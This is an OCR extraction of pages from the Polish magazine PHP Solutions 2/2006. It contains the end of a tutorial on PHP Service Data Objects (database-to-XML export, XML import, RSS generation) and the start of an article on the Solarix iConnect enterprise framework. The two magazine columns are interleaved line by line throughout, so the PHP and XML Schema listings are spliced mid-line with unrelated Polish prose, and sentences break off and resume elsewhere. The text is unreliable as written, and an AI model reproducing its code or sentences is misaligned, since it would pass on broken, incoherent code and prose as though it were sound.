różnymi źródłami jest łatwe. Jedyne,
/* tu wstawiamy definicję mappingu dla bazy danych */
czego potrzebujemy do poprawnego $dbConnection = new PDO('mysql:host=localhost;dbname=nazwa_bazy_danych','użytkownik','hasło');
działania takiego rozwiązania to mappingi, $das = new SDO_DAS_Relational( array($newsGroupsMap,$newsContentsMap), 'news_groups',
które musimy stworzyć dla każdego źródła array( $newsContentsRelationsMap ) );
danych z osobna. Na Listingu 2 przedsta- $root = $das->executeQuery($dbConnection, 'select * from news_groups, news_contents where
news_groups.ng_id=news_contents.ng_id', array( 'news_groups.ng_id', 'news_groups.ng_name',
wiamy mapping dla relacyjnej bazy da-
'news_groups.ng_description', 'news_contents.nc_id', 'news_contents.nc_subject',
nych. Jego budowę opisaliśmy dokładnie 'news_contents.nc_lead', 'news_contents.nc_content' ) );
w poprzednim artykule o SDO. Dla tych, ?>
którzy go nie czytali, przypomnimy reguły
tworzenia tego mappingu: Listing 4. Plik XML Schema zawierający definicję formatu pliku XML do którego
będą eksportowane dane z bazy danych newsów
 każda tabela bazodanowa, z którą <?xml version="1.0" encoding="UTF-8"?>
kontaktujemy się poprzez SDO, musi <xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
mieć swój mapping, xmlns:newsgroups="das_namespace"
 mapping składa się z tablic asocja- targetNamespace="das_namespace">
<xsd:element name="newses" type="newsgroups:SDO_DAS_Relational_RootType"/>
cyjnych, w każdym mappingu muszą
<xsd:complexType name="SDO_DAS_Relational_RootType">
znaleźć się: informacja o nazwie ta- <xsd:sequence>
blicy, z którą jest on związany (klucz <xsd:element name="news_groups" type="newsgroups:news_groups"
name), lista kolumn (klucz columns), maxOccurs="unbounded"/>
nazwa pola klucza głównego (klucz </xsd:sequence>
</xsd:complexType>
PK); klucz główny nie może być wielo-
<xsd:complexType name="news_groups">
polowy, <xsd:sequence>
 jeżeli pomiędzy tabelami istnieje rela- <xsd:element name="news_contents" type="newsgroups:news_contents"
cja, tabela podrzędna musi posiadać maxOccurs="unbounded" />
w mappingu pole FK zawierające in- </xsd:sequence>
<xsd:attribute name="ng_name" type="xsd:string"/>
formacje o tabeli, do której jest relacja
<xsd:attribute name="ng_description" type="xsd:string"/>
(klucz to) i kolumnę, która definiuje tę </xsd:complexType>
relację (klucz from); dodatkowo, trze- <xsd:complexType name="news_contents" mixed="false">
ba stworzyć tablice relacji. <xsd:attribute name="nc_subject" type="xsd:string"/>
<xsd:attribute name="nc_lead" type="xsd:string"/>
<xsd:attribute name="nc_content" type="xsd:string"/>
Na pierwszy rzut oka, reguły te mogą wy-
</xsd:complexType>
dawać sie bardzo skomplikowane. Przy- </xsd:schema>
kład z Listingu 2 powinien jednak rozjaśnić
ewentualne wątpliwości. Poza tym, jeżeli

36 www.phpsolmag.org PHP Solutions Nr 2/2006
SDO Techniki

atrybuty pojedynczej grupy i zawiera listę składa się z trzech linii. W pierwszej z nich plik nie istnieje, to zostanie utworzony. Je-
wszystkich newsów związanych z daną tworzymy obiekt klasy SDO_DAS_XML żeli natomiast istnieje, to wszystkie zgro-
grupą. Trzeci typ, news_contents, opisuje korzystając z jej metody statycznej o na- madzone w nim dane zostaną nadpisane.
atrybuty pojedynczego newsa. Nazwa zwie create(). Metoda ta wymaga poda- SDO_DAS_XML posiada jeszcze trzy inne
pierwszego typu musi odzwierciedlać typ nia jednego parametru, którym jest ścieżka metody do serializacji danych zgromadzo-
korzenia drzewa obiektów SDO pobranego dostępu i nazwa mappingu. W naszym nych w obiektach SDO:
z bazy danych. Nazwą typu tego korzenia przypadku jest to plik, którego zawartość
jest właśnie SDO_DAS_Relational_RootType. pokazaliśmy już na Listingu 4.  saveDataObjectToString – zamiast do
Nazwy pozostałych typów odpowiadają na- W drugiej linii pozyskujemy z drzewa pliku zapisuje dane (obiekt klasy SDO _
zwom tabel z bazy danych, co wprawdzie informacje o typie korzenia, które są nam DataObject) do zmiennej łańcuchowej,
nie jest koniecznie, ale jest zalecane ze potrzebne przy zapisie drzewa. Wreszcie,  saveDocumentToFile – zapisuje do
wzgędu na przejrzystość i czytelność kodu. w trzeciej linii zapisujemy dane do pliku pliku obiekt klasy SDO _ DAS _ XML _
Tworząc plik XML Schema warto po- XML. Osiągamy to za pomocą metody Document,
służyć się specjalnie do tego stworzonym saveDataObjectToFile(). Wymaga ona  saveDocumentToString – zapisuje do
edytorem, takim jak darmowy Eclipse podania czterech parametrów. Pierw- zmiennej łańcuchowej obiekt klasy
z pluginem Web Tools Platform. szym jest drzewo obiektów SDO, drugi SDO _ DAS _ XML _ Document.
Na Listingu 5 przedstawiamy kod od- to URI schematu, a trzeci stanowi nazwę
powiedzialny za zapisanie pobranego z ba- typu danych, który jest nadrzędny wobec Jak widać na omówionym przykładzie, po-
zy danych drzewa obiektów SDO do pliku wszystkich innych, czyli korzenia drzewa. między pobraniem danych z bazy a ich za-
XML, czyli wykonanie eksportu danych Z kolei czwarty parametr to nazwa pliku, pisem w pliku XML nie dokonaliśmy w nich
z bazy do innego źródła. Jak widzimy, kod w którym mają być zapisane dane. Jeżeli żadnych zmian. W szczególności, nie zmo-
dyfikowaliśmy struktury danych. Oczywi-
Listing 5. Część skryptu eksportu odpowiedzialna za zapis danych z bazy do pliku XML ście, musimy dokonać takich zmian, jeżeli
plik XML nie ma być idealnym odzwiercie-
<?php dleniem bazy danych i będzie zawierał np.
/* tu wstawiamy kod z Listingu 3 */ dodatkowe, niewystępujące w bazie da-
$xmlDAS = SDO_DAS_XML::create("group.xsd");
nych informacje, albo jego struktura będzie
$type = $dbRoot->getType();
$xmlDAS->saveDataObjectToFile($dbRoot,$type[0],$type[1],"export.xml"); inna. Jeżeli jednak tak nie jest, to eksportu
?> danych możemy dokonać w kilku linijkach
kodu. Co ciekawe, procedura importu, którą
Listing 6. Skrypt importu danych z pliku XML. pokazujemy na Listingu 6 jest prawie iden-
tyczna. Odwrócona jest jedynie kolejność
<?php
function copySDOTree( $dbTree, $xmlTree ) wykonywania operacji: dane są najpierw
{ ładowane z pliku XML do obiektów SDO,
if ( $xmlTree instanceof SDO_DataObject && $xmlTree->getContainer() != null ) a następnie, po skopiowaniu do nowego
{
drzewa, zapisywane w bazie danych.
$type = $xmlTree->getType();
$sdoDBObject = $dbTree->createDataObject( $type[1] );
} else { Import danych
$sdoDBObject = $dbTree; z pliku XML
} Import danych z pliku XML nie już tak pro-
foreach( $xmlTree as $propertyName => $sdoXMLObject )
stym zadaniem. Powód jest następujący.
{
Zapisując dane do bazy, klasa SDO_DAS_
if ( is_object( $sdoXMLObject ) )
{ Relational korzysta z funkcjonalności
copySDOTree($sdoDBObject,$sdoXMLObject); obiektów SDO polegającej na zapamię-
} else { tywaniu wszystkich zmian przeprowadzo-
$sdoDBObject->{$propertyName} = $sdoXMLObject;
nych na drzewie obiektów. Zapisywanie
}
zmian dotyczy wszystkich wykonywanych
}
} na drzewie operacji. Listę tych operacji
require_once 'Relational.php'; możemy podejrzeć wywołując (najlepiej na
/* tu wstawiamy definicję mappingu dla bazy danych */ korzeniu) metodę getChangesSummary().
$dbConnection = new PDO('mysql:host=localhost;dbname=sdo','root','');
Metoda ta zwróci obiekt typu SDO_
$dbDAS = new SDO_DAS_Relational( array($newsGroupsMap,$newsContentsMap),
DAS_ChangesSummary, który z kolei posiada
'news_groups', array( $newsContentsRelationsMap ) );
$dbRoot = $dbDAS->createRootDataObject(); m.in. metodę getChangedDataObjects().
$xmlDAS = SDO_DAS_XML::create("sdo_xml/group.xsd"); To właśnie ta metoda zwraca listę wszyst-
$xmlDocument = $xmlDAS->loadFromString(file_get_contents("export.xml")); kich zmienionych obiektów. Wracając
copySDOTree( $dbRoot, $xmlDocument->getRootDataObject() );
do problemu importu danych, drzewo
$dbDAS->applyChanges($dbConnection,$dbRoot);
obiektów, które otrzymujemy po przeczy-
?>
taniu pliku XML nie zawiera oczywiście
żadnych zmian. Próba zapisania tego

PHP Solutions Nr 2/2006 www.phpsolmag.org 37
Techniki SDO

drzewa do bazy danych zakończy się Czytnik plików RSS przedstawiamy natomiast skrypt tworzący
więc niepowodzeniem, gdyż metoda Publikacja wiadomości (newsów) w forma- drzewo obiektów dla RSS i pozwalający
getChangedDataObjects() zwróci wartość cie RSS stała się już prawie standardem. wygenerować plik RSS v2. Niestety, tym
null, co oznacza, że żadne obiekty nie PHP udostępnia przynajmniej kilka biblio- razem kod nie jest taki prosty, jak w przy-
zostały zmienione. tek do tworzenia i publikowania wiadomo- padku eksportu danych. Powodem tego
Jak rozwiązać ten problem? Najlepiej ści tej postaci w Internecie. jest fakt, że drzewo obiektów z bazy nie
przekopiować drzewo pochodzące z pliku My stworzymy przykład, który pokaże, jest tożsame drzewu obiektów RSS. To
XML do nowego drzewa utworzonego jak wykorzystać SDO do napisania modułu drugie ma inną strukturę i zawiera więcej
przy pomocy klasy SDO_DAS_Relational. do publikacji wiadomości w formacie RSS. informacji. Dlatego głównym elementem
Wydawać by się mogło, że operacja ta jest Wykorzystamy w tym celu naszą bazę naszego skryptu jest przepisanie jednego
dość skomplikowana. Na szczęście tak nie danych z newsami. Pierwszym, czego drzewa do drugiego oraz uzupełnienie tego
jest: funkcja, która przekopiuje dowolne będziemy potrzebować jest odpowiedni drugiego o informacje dla niego charaktery-
drzewo do innego zajmuje zwykle kilkana- plik XML Schema. Możemy napisać go styczne.
ście linijek kodu. Jest tylko jeden warunek: sami wiedząc, jaka musi być struktura Podobnie jak poprzednio, po od-
oba drzewa muszą być oparte na tych pliku RSS, lub poszukać odpowiedniego czytaniu danych z bazy korzystamy ze
samych mappingach, gdyż inaczej SDO pliku w sieci. Ja wybrałem drugą opcję statycznej metody create(), aby utworzyć
zgłosi wyjątek. Wymagane jest, aby nazwy i swój plik znalazłem na stronie http://- obiekt klasy SDO_XML_DAS. Następnie, przy
atrybutów zgadzały się z nazwami kolumn, www.thearchitect.co.uk/schemas/rss- pomocy metody createDataObject(),
a nazwy typów z nazwami tabel. 2_0.xsd. Zwróćmy uwagę, że jest to plik którą wywołujemy na obiekcie klasy
Na Listingu 6 przedstawiliśmy przy- dla standardu RSS 2.0. Mając już plik SDO_XML_DAS, tworzymy korzeń drzewa
kładowy skrypt importu dla bazy danych schematu, możemy zabrać się za tworze- obiektów SDO. W korzeniu tym będziemy
newsów. Najważniejszym elementem nie drzewa obiektów SDO, które następ- przechowywać obiekty SDO składające
tej aplikacji jest metoda copySDOTree(), nie zserializujemy do XML-a, otrzymując się na dokument RSS.
która odpowiada za skopiowanie drze- w ten sposób plik z newsami w formacie Metoda createDataObject() wymaga
wa pochodzących z pliku XML obiektów RSS 2.0. podania dwóch parametrów: URI schema-
SDO do odpowiadającego mu drzewa, Do pobrania danych z bazy wykorzy- tu oraz nazwy nadrzędnego wobec wszyst-
które następnie zostanie zapisane w ba- stamy skrypt z Listingu 3. Na Listingu 7 kich innych typu danych. Obie informacje
zie danych. Metoda ta korzysta z faktu,
że obiekty SDO implementują interfejs Listing 7. Skrypt tworzący drzewo obiektow dla RSS
Traversable, który umożliwia nam poru-
szanie się w obrębie drzewa i atrybutów <?php
obiektów przy użyciu instrukcji foreach. header('Content-type: application/xml');
require_once 'Relational.php';
Pozostała część skryptu zawiera znane
require_once 'artykul_map.php';
nam już metody i operacje z poprzed- $dbConnection = new PDO('mysql:host=localhost;dbname=sdo','root','');
nich przykładów. Wyjątkiem jest metoda $dbDAS = new SDO_DAS_Relational( array($newsGroupsMap,$newsContentsMap),
loadFromFile(), którą wywołujemy na 'news_groups', array( $newsContentsRelationsMap ) );
obiekcie klasy SDO_DAS_XML. Parametrem tej $dbRoot = $dbDAS->executeQuery($dbConnection, 'select news_groups.ng_id,
news_groups.ng_name, news_groups.ng_description, news_contents.nc_id,
metody jest nazwa pliku zawierającego da-
news_contents.nc_subject, news_contents.nc_lead, news_contents.nc_content from
ne w postaci XML. Zwracana jest natomiast news_groups, news_contents where news_groups.ng_id=news_contents.ng_id', array
instancja klasy SDO_DAS_XML_Document. ( 'news_groups.ng_id', 'news_groups.ng_name', 'news_groups.ng_description',
Poza drzewem SDO, zawiera ona szereg 'news_contents.nc_id', 'news_contents.nc_subject', 'news_contents.nc_lead',
użytecznych informacji o pliku XML, na 'news_contents.nc_content' ) );
$xmlDAS = SDO_DAS_XML::create("sdo_xml/RSS20.xsd");
podstawie którego została utworzona. Pe-
$xmlRoot = $xmlDAS->createDataObject("http://blogs.law.harvard.edu/RSS20.xsd","rss");
łen zestaw atrybutów wraz z ich opisem $channel = $xmlRoot->createDataObject("channel");
znajdziemy w dokumentacji PHP. Dla nas $channel->version = "2.0";
najważniejsze jest, że wywołując na tym $channel->title = $dbRoot->news_groups[0]->ng_name;
obiekcie metodę getRootDataObject() $channel->description = $dbRoot->news_groups[0]->ng_description;
$channel->link = "http://nazwa_domeny";
otrzymamy drzewo SDO pochodzące
$channel->language = "pl";
z pliku XML. foreach( $dbRoot->news_groups[0]->news_contents as $index => $news_content )
Dla osób, które nie czytały poprzed- {
niego artykułu o SDO nieznana może być $xmlRoot->channel->createDataObject("item");
również metoda applyChanges() którą $xmlRoot->channel->item[$index]->title = $news_content->nc_subject;
$xmlRoot->channel->item[$index]->description = $news_content->nc_lead;
wywołujemy na obiekcie klasy SDO_DAS_
$xmlRoot->channel->item[$index]->link = "http://nazwa_domeny?nc_id=".
Relational. Odpowiada ona za zapisanie $news_content->nc_id;
drzewa w bazie danych. Wymaga po- }
dania dwóch parametrów drzewa, które $type = $xmlRoot->getType();
zostanie zapisane i połączenia z bazą echo $xmlDAS->saveDataObjectToString($xmlRoot,$type[0],$type[1]);
?>
danych, w której drzewo ma zostać za-
chowane.

38 www.phpsolmag.org PHP Solutions Nr 2/2006
SDO Techniki

muszą zawsze znajdować się w pliku <item>. Definicja wszystkich parametrów Podsumowanie
XML Schema. Po utworzeniu korzenia wiadomości dostępna jest w pliku XML Spośród licznych funkcji, które posiada
drzewa obiektów SDO możemy zacząc Schema. Jeżeli tagi <item> są podrzędne SDO, nie pokazaliśmy dwóch, o których
go wypełniać właściwymi obiektami. Pierw- wobec znacznika <channel>, to obiekty warto wspomnieć. Pierwszą z nich jest
szym potrzebnym obiektem będzie ten SDO item muszą być podrzędne w sto- możliwość przeszukiwania drzewa SDO
reprezentujący informacje o kanale RSS. sunku do obiektu zawierającego informa- w standardzie XPath. Drugą jest zapisy-
W standardzie RSS informacje te zapisane cje o kanale. Aby tak było, na obiekcie wanie obiektów SDO w sesji. Pozwala to
są w tagu <channel>. channel wykonujemy w pętli metodę odczytać obiekt z bazy, pokazać go na for-
Chcąc utworzyć obiekt SDO należą- createDataObject() z parametrem item. mularzu edycji i zapisać w sesji w ramach
cy do drzewa, musimy wykonać na tym W ten sposób przepiszemy wszystkie jednego żądania (ang. request).
drzewie metodę createDataObject(). newsy do drzewa SDO. Dla uproszczenia Następnie, gdy będziemy zapisywać
Przekażemy jej jeden parametr: nazwę ty- zajmiemy się jedynie newsami z grupy, obiekt z formularza, wystarczy pobrać go
pu, który dany obiekt SDO ma reprezento- która została pobrana jako pierwsza z ba- z sesji, zmienić jego parametry i zapisać
wać. W tym przypadku jest to typ channel. zy danych. Nic nie stoi na przeszkodzie, w bazie. Dzięki temu będziemy mieli pew-
Wszystkie zmienne, które zostały przypisa- aby np. numer grupy był parametrem ność, że zapisujemy ten sam obiekt, który
ne utworzonemu w taki sposób obiektowi skryptu. W ten sposób będziemy mogli odczytaliśmy, co uczyni naszą aplikację
w mappingu, stają się jego zmiennymi stworzyć skrypt, który będzie tworzył plik odporniejszą na próby włamania.
publicznymi. RSS dla różnych grup newsów w sposób Przedstawiliśmy Wam solidne podsta-
Jeżeli będziemy próbowali odwołać się dynamiczny. Problem ten możemy rów- wy SDO, stosowanego zarówno wobec
do zmiennej, która nie jest zdefiniowana nież na inne sposoby, np. parametryzując baz danych, jak i plików XML. Wzbogace-
w mappingu, SDO zgłosi wyjątek. Po utwo- zapytanie do bazy danych. nie pokazanego przez nas kodu o wspo-
rzeniu obiektu SDO dla tagu <channel> Ostatnią operacją, jaką wykonuje- mniane funkcje będzie świetnym punktem
uzupełniamy go o kilka potrzebnych infor- my, jest serializacja drzewa obiektów do wyjścia dla dalszego, własnoręcznego
macji, takich jak nazwa i opis kanału oraz XML-a. Tym razem posłużymy się metodą poznawania fascynujących możliwości roz-
język, w którym publikowane są wiadomo- saveDataObjectToString(). szerzenia SDO. 
ści w tym kanale. Podczas serializacji do Dużą prostszą operacją jest czytanie
XML-a, wartości zapisane w tych zmien- plików RSS i tworzenie drzew SDO na
nych zostaną zapisane (w zależności od ich podstawie. Skrypt, który ma mieć taką
definicji w mappingu) jako atrybuty znacz- funkcjonalność, będzie się składał z zale-
O autorze
nika <channel> lub niezależnych tagów dwie dwóch linii kodu. W pierwszej z nich Piotr Szarwas jest pracownikiem SUPER-
znajdujących się wewnątrz <channel>. utworzymy obiekt klasy SDO_DAS_XML z od- MEDIA Interactive i doktorantem na wy-
dziale Fizyki Politechniki Warszawskiej.
Kolejnym krokiem jest utworzenie powiednim mappingiem, a w drugiej od- Od 2003 roku projektuje aplikacje WWW
listy obiektów, które będą reprezentowały czytamy plik korzystając z loadFromFile(). w oparciu o PHP4/5. Obecnie zajmuje się
newsy z naszej bazy danych. W stan- Plikiem może być również link do ze- tworzeniem frameworka dla PHP oparte-
dardzie RSS wiadomości grupowane są wnętrznej strony internetowej. Pozwala go na rozwiązaniach Hibernate i Spring.
Kontakt z autorem:
wewnątrz znacznika <channel>, a para- nam to na agregowanie newsów z różnych piotr.szarwas@gmail.com
metry wiadomości otoczone są tagiem serwisów na naszej witrynie.

R E K L A M A

PHP Solutions Nr 2/2006 www.phpsolmag.org 39
Narzędzia

Tworzenie rozwiązań klasy
Enterprise przy zastosowaniu
Solarix iConnect
Stopień trudności: 
Alex Pagnoni

Ileż razy zdarzało Ci się spotykać na forach
i listach dyskusyjnych stwierdzenia w rodzaju
„PHP to nie Java, tylko prosty język skryptowy.
Potrzebujemy czegoś profesjonalnego, do
tworzenia poważnych projektów”. Dzięki Solarix
iConnect możesz powiedzieć autorom tych
wypowiedzi, że się mylą i będziesz miał rację:
oto nadchodzi epoka profesjonalnej architektury
programistycznej w PHP, na miarę rozwiązań
typu J2EE czy .NET.

J
ava (w wydaniu J2EE) i .NET są aplikacji, do której można by się odwoły-
traktowane jako rozwiązania, do wać projektując i pisząc programy.
których odwołują się wszystkie in- Istniejące w świecie PHP rozwiąza-
ne architektury systemów informatycznych nia nieoficjalne, takie jak popularne ostat-
stosowanych w środowisku biznesowym. nio frameworki, przeważnie stanowią wy-
Zaletą PHP jest jednakże jego ogromna łącznie zestawy narzędzi realizujących ta-
popularność. Zgodnie z danymi pocho- kie zadania, jak logowanie, uwierzytelnia-
dzącymi z Google, w rozwiązaniach webo- nie, kontakt z bazą danych, itd. W ramach
wych PHP jest trzy razy częściej stosowa- ich funkcjonalności nie ma przeważnie
ny od JSP, a ogólna liczba witryn korzysta- miejsca na wspomniane kwestie związane
jących z PHP sięga ok. 17 milionów. z architekturą czy logiką aplikacji. Nie umo-
Co więcej, wraz z pojawieniem się żliwiają również korzystania z tworzonych
PHP5 (i Zend Engine 2), język ten nie- rozwiązań w sposób rozproszony.
specjalnie ustępuje Javie, do której upo-
dobnił się zwłaszcza pod względem mo-
delu obiektowego i systemu obsługi wy-
Co należy wiedzieć...
Powinieneś znać zasady programowa-
W SIECI jątków. Można śmiało powiedzieć, iż PHP nia obiektowego w PHP5 i mieć pojęcie
stał się już językiem klasy Enterprise (wia- o frameworkach i wzorcach projekto-
rygodnym i nadającym się do stosowania wych. Przyda się również podstawowa
1. http://www.solarix.it/ znajomość Javy.
w świecie biznesu na większą skalę).
– strona główna Solarix
2. http://phppatterns.com Brakuje mu jednakże jednego: posiada- Co obiecujemy...
– witryna o wzorcach pro- Dowiesz się, jak dzięki Solarix iConnect
nej przez J2EE i .NET architektury, która
jektowych przenieść do PHP najlepsze mechani-
3. http://java.sun.com w sposob precyzyjny definiuje sposób zmy obiektowe z J2EE i .NET.
– główna strona Javy określania struktury i logicznego podziału

40 www.phpsolmag.org PHP Solutions Nr 2/2006
Solarix iConnect Narzędzia

Architektura
Solarix iConnect Wymagania i instalacja
Aby zaradzić tym problemom, opracowano Solarix iConnect potrzebuje PHP5 wraz z rozszerzeniami socket oraz xmlrpc (dla Solarix
iConnect EAS). Pozostałe elementy iConnecta, czyli Platform, WAS i Portal Server nie
architekturę Solarix iConnect. Stanowi ona wymagają żadnych rozszerzeń. Konieczna będzie również instalacja serwera Apache, na
zestaw komponentów opartych na PHP5, którym opiera się Solarix iConnect WAS. Warto też wspomnieć, iż oczekiwania sprzętowe
w tym kontenerów i frameworków zaprojek- Solarixa nie są wysokie, zwłaszcza biorąc pod uwagę, że został on zaprojektowany tak,
towanych z punktu widzenia modularności aby zapewniać skalowalność.
Instalacja systemu jest bardzo prosta. Pod Windows odbywa się za pomocą prostych
i programowania rozproszonego. Jest instalatorów. Pod Linuksem natomiast należy rozpakować archiwa do katalogu docelowe-
opensourcowa i rozpowszechniana na li- go (np. /usr/local/iconnect/) i ewentualnie przemianować katalogi usuwając numer wersji
cencji Mozilla Public License, co umożliwia (np. zmienić nazwę carthag-1.2 na carthag).
jej stosowanie również w rozwiązaniach ko- Poza tym, pod Linuksem katalog zawierający Solarix iConnect WAS powinien zawsze
mieć te same uprawnienia użytkownika co Apache: chown -R apache.apache /usr/local/
mercyjnych. iconnect/was. Wreszcie, we wszystkich systemach należy uaktualnić ścieżkę do klas (ang.
Jest poza tym wielowarstwowa (ang. classpath) Carthaga.
multi-tier) i zorientowana na usługi (ang.
service-oriented). Stanowi również kolek-
cję standardowych specyfikacji i metodo- informacyjne. Niestety, nawet gdy są Komponenty iConnect współdzielą jedyny
logii służących do tworzenia aplikacji webo- przestarzałe, często nie mogą zostać za- framework wykonywalny. Obejmują rów-
wych klasy Enterprise. Dodatkowo, iCon- stąpione nowszymi i lepiej zintegrowanymi nież poziomy pośrednie, czyli integracji,
nect dziedziczy wiele mocnych punktów ar- systemami. biznesowy i prezentacji. W warstwie za-
chitektury J2EE. Problem ten jest możliwy do rozwiąza- sobów znajdują się bazy danych, syste-
Należy sprecyzować, że z punktu wi- nia dzięki dwóm czynnikom. Pierwszym my sprzed wdrożenia iConnecta (ang. le-
dzenia architektury iConnect nie wno- jest rozbudowywalność języka PHP. Liczne gacy systems) i podobne. Poziom kliencki
si cech ściśle przydatnych dla zaspokoje- rozszerzenia PHP (PECL-owe, PEAR-owe, jest natomiast obsługiwany przez przeglą-
nia wymogów formalnych, gdyż należy to itd.) umożliwiają łączenie się z rozmaity- darki WWW.
do zadań tworzonych z jego pomocą apli- mi bazami danych oraz innymi systema- Architektura iConnect składa się ze
kacji. Głównym celem architektury Solarix mi przy minimalnym wysiłku ze strony pro- wzajemnie współdziałających bloków:
iConnect jest natomiast organizacja aplika- gramistów. Z kolei Solarix iConnect stawia
cji w sposób ułatwiający spełnienie wymo- czoła opisanemu wyzwaniu dzięki temu, • Carthag – platforma wspólna dla ca-
gów niefunkcjonalnych, takich jak jak skalo- że umożliwia ukrycie całej złożoności za- łej architektury, pełni tę sama rolę co
walność, łatwość obsługi, bezpieczeństwo, rządzania danymi poprzez samą strukturę J2SE i J2EE w architekturze Java-ba-
modularność, itd. Są to właściwości, które swojej architektury. sed. Jest zintegrowana z runtime par-
pozwalają na obsługę, dostosowanie i kon- sera PHP,
trolowanie aplikacji w czasie ich rozwoju. Podstawowe • webserwisy (ang. Web services) i licz-
iConnect zapewnia infrastrukturę, na bazie pojęcia iConnecta ne narzędzia zwane konektorami (ang.
której możemy tworzyć aplikacje różnego Architektura iConnect została zaprojekto- connectors), pozwalające na łączenie
typu, nie tylko te zorientowane na WWW. wana w celu podziału aplikacji klasy Enter- się systemu z warstwą zasobów,
Wielką zaletą architekury rozproszonej prise na 5 współdziałających ze sobą po- • iConnect Enterprise Application Server
jest łatwość, z jaką przychodzi zmienia- ziomów: (EAS) – zawiera i obsługuje logikę biz-
nie warunków działania aplikacji: przy- nesową w formie gotowych do urucho-
kładowo, przy znacznym wzroście obcią- • warstwa zasobów (Resource tier): za- mienia modułów. Działa podobnie do
żenia wystarczy poprawić architekturę, bez wiera zasoby takie jak dane (data) i le- Enterprise Java Bin (EJB),
dokonywania modyfikacji samej aplikacji. gacy (obsługa starego oprogramowa- • iConnect Web Application Server
Solarix iConnect ma również stanowić nia), (WAS) – jest odpowiedzialny za uru-
spoiwo pomiędzy istniejącymi już aplikacja- • warstwa integracji (Integration tier): chamianie i działanie aplikacji WWW
mi korporacyjnymi (np. projektami intrane- zajmuje się integracja logiczną i dostę- (które pracują właśnie na tym serwe-
towymi, extranetowymi czy portalami kor- pem systemu do zasobów, rze), zachowując się podobnie jak se-
poracyjnymi), co wymaga ich integrację i • warstwa biznesowa (Business tier): rvlety i JSP,
udostępnienie na WWW, a tablicami służą- grupuje komponenty odpowiedzialne • iConnect Portal Server: organizuje
cymi do analizy sprzedaży, dostępu do da- za logikę biznesową aplikacji, aplikacje WWW bazujące na WAS i na
nych przetwarzanych przez działające już • warstwa prezentacji (Presentation tier): modułach EAS, grupuje komponenty
w systemie korporacyjnym aplikacje, itd. komponuje i publikuje zawartość udo- i jest odpowiedzialny za logikę prezen-
Skupmy się na chwilę na istniejących stępnianą przez komponenty należące tacji, stosując typowy wzorzec MVC
aplikacjach, które musimy zintegrować do warstwy biznesowej, (Model, Widok, Kontroler).
z naszym systemem. Zwykle działają na • warstwa kliencka (Client tier): udostęp-
różnego rodzaju maszynach i – co sta- nia interfejs użytkownika (ang. User Nie zawsze aplikacje bazujące na Sola-
nowi poważny problem – nie komunikują Interface) i odpowiada za współpracę rix iConnect są podzielone również na po-
się między sobą, stanowiąc tzw. wyspy z użytkownikiem. ziomie implementacyjnym pomiędzy te

PHP Solutions Nr 2/2006 www.phpsolmag.org 41
Narzędzia Solarix iConnect

Rysunek 1. Warstwy architektury iConnect

wszystkie kontenery, co jest sytuacją typo- podczas gdy każda klasa znajduje się niezależnych (ang. stand alone), możemy
wą w bardziej złożonych przypadkach. Na- w osobnym pliku, noszącym jej nazwę. wymienić trzy odmienne rodzaje aplikacji:
tomiast w prostszych przypadkach wystar- Przykładowo, klasa org.acme.myapp.MyApp
czy zastosować jedynie Solarix iConnect lication zostanie zapisana w pliku MyAp- • uruchamiane z linii poleceń (CLI, Com-
Platform i Solarix iConnect WAS, gdzie plication.php znajdującym się w katalogu mand Line Interface), przez odpowied-
aplikacja webowa (zwana w skrócie we- org/acme/myapp (ścieżka odnosząca się nie skrypty: carthag (skrypt bash) i car-
bapp) zawiera zarówno całość logiki bizne- do katalogu głównego (ang. root path) bie- thag.bat (skrypt MS-DOS). Przykłady:
sowej, jak i tryby prezentacji. żącego projektu). Tak więc, w każdej klasie carthag application.php [Enter] lub
Jak łatwo zauważyć, pod wieloma (przed rozpoczęciem jej właściwego kodu) carthag org.acme.MyApp.php[Enter].
względami iConnect jest podobny do J2EE. musi się znajdować deklaracja pakietu, do • aplikacje typu embedded (ECA, Em-
Należy jednak pamiętać, że w odróżnieniu którego należy, np. Carthag::package('org bedded Carthag Application), urucha-
od J2EE ma on udostępniać zestaw pro- .acme.myapp');. miane z sieci WWW poprzez wywoła-
stych i lekkich API oraz specyfikacji, pozo- Aby uzyskać dostęp do funkcjonalno- nie bezpośrednie lub z linii poleceń po-
stawiając programiście większą swobodę ści danej klasy, musimy wykonać jedynie przez: PHP classname.php [Enter]
niż w środowisku Javy. prostą procedurę importu: Carthag::impor • (aplikacje embedded, ponieważ zawar-
t('org.acme.myapp.MyApplication');. ta jest w nich logika bootstrap carthag)
Solarix Carthag udostępnia nam także licz- • aplikacje typu CAR (Carthag Applica-
iConnect Platform ne klasy użytkowe, spełniające tę samą tion Archive) które zachowują się jak
Struktura klas Carthaga jest podobna do funkcję co noszące tę samą nazwę klasy pliki JAR w środowisku Javy. Każdy
tej z Javy, w której każda klasa wewnątrz Javy. Przykładowo, w pakiecie util znaj- plik CAR jest skompresowanym pli-
systemu dziedziczy (bezpośrednio lub po- dziemy klasę Vector, która implementuje kiem wykonywalnym (przez środowi-
średnio) po klasie Object. Wprowadzono StringBuffer, czy klasy umożliwiające sko iConnect) i zawiera odpowiednik
również system obsługi wyjątków, który stosowanie i obsługę Iteratorów. Mamy pliku Manifest z JAR, którym jest zwy-
wiernie odzwierciedla ten obecny w Javie: też do dyspozycji HashTable, klasy im- kły plik tekstowy, który wskazuje w mo-
istnieje w nim jedna klasa przedstawiają- plementujące węzły list i drzew, klasy mencie uruchamiania, który który plik
ca ogólny wyjątek i cały zestaw klas, które do obsługi archiwów, itd. W odniesieniu wewnątrz archiwum jest odpowiedzial-
po niej dziedziczą i przedstawiają najbar- do tych ostatnich, system oferuje pełną ny za uruchomienie wykonania. Aby
dziej specyficzne wyjątki (na poziomie ła- kompatybilność ze standardami kompresji uruchomić plik CAR, zastosujemy in-
dowania klas, błędnego dostępu do bazy takimi jak ZIP i TAR oraz wprowadza no- strukcję: carthag -c application.car
danych, I/O, parsowania, itd.). wy format pliku, .CAR (Carthag Archive), [enter].
Kod jest zorganizowany w postaci pa- który stanowi archiwum skompresowane
kietów (ang. packages), co również zostało w formacie TAR. Także obsługa wejścia/wyjścia (ang. in-
zainspirowane Javą: każdy pakiet posiada Ponieważ carthag zawiera w sobie lo- put-output) dość wiernie odzwierciedla tę
swój katalog i pliki klas (ang. class files), gikę pozwalającą na uruchomienie aplikacji z Javy: kanały wejścia/wyjścia w Carthagu

42 www.phpsolmag.org PHP Solutions Nr 2/2006
Narzędzia Solarix iConnect

są obsługiwane jako strumienie (ang. stre- czy HTTP czy wysyłaniu emaili (także w nie muszą własnoręcznie implementować
